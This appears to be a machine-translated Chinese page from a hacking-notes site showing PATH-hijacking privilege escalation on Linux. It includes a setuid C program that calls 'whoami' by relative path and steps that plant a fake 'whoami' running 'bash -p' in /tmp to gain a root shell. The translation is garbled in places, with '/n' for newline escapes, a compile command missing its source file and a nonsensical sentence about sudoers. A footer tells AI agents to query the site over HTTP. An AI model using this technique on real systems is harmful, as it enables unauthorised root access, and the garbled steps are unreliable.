> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/path-hijacking/path-hijacking-test.c-linux-privilege-escalation.md).

# PATH 劫持（test.c）- Linux 权限提升

## 这是什么

PATH 劫持利用了那些在调用命令时未使用绝对路径的特权程序或脚本。如果攻击者控制了更靠前的目录， `PATH`，特权进程可以执行攻击者的二进制文件。本页重点关注 **PATH 劫持（test.c）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

## 示例

在以下位置创建一个文件 **/tmp/test.c** 目录，内容如下：

```c
#include <stdio.h>

int main(){
	setuid(0);
	printf("/n[+] 目前我们是下一个用户：/n/n");
	system("/usr/bin/whoami");
	printf("/n[+] 目前我们是下一个用户：/n/n");
	system("whoami");
	return 0;
}
```

使用以下命令编译脚本 **`gcc`** 并使用以下内容创建测试文件 **`-o`** 通过赋予它 sudoers 权限：

```bash
gcc test -o test
```

<figure><img src="/files/31d81e58058b6ce89c4549c2264381fbb56e092e" alt="" width="563"><figcaption></figcaption></figure>

如果你运行脚本并按“whoami”过滤，你会注意到它首先以绝对路径执行它，然后以 **相对**路径执行。如果我们 **修改 $PATH**:

<figure><img src="/files/acdadaf099a72477f03fe712b186979334eaba26" alt="" width="563"><figcaption></figcaption></figure>

更改 **$PATH** 并将优先级赋予 /tmp 路径：

<div data-full-width="true"><figure><img src="/files/09ded0af371d117bde615d25b6822d0e81659364" alt="" width="563"><figcaption></figcaption></figure></div>

接下来， **在 tmp 中创建以下文件** 目录中发现了两个文件：

```bash
touch whoami
chmod +x whoami
```

**插入** 以下内容到文件中：

```bash
bash -p
```

运行 **脚本 test** 再次运行，并通过 $PATH，以 **root 用户身份获得 Bash 访问权限**:

<figure><img src="/files/4cc948dc71b7ba1c14a5c154ef1e9385e0f82bc4" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/path-hijacking/path-hijacking-test.c-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.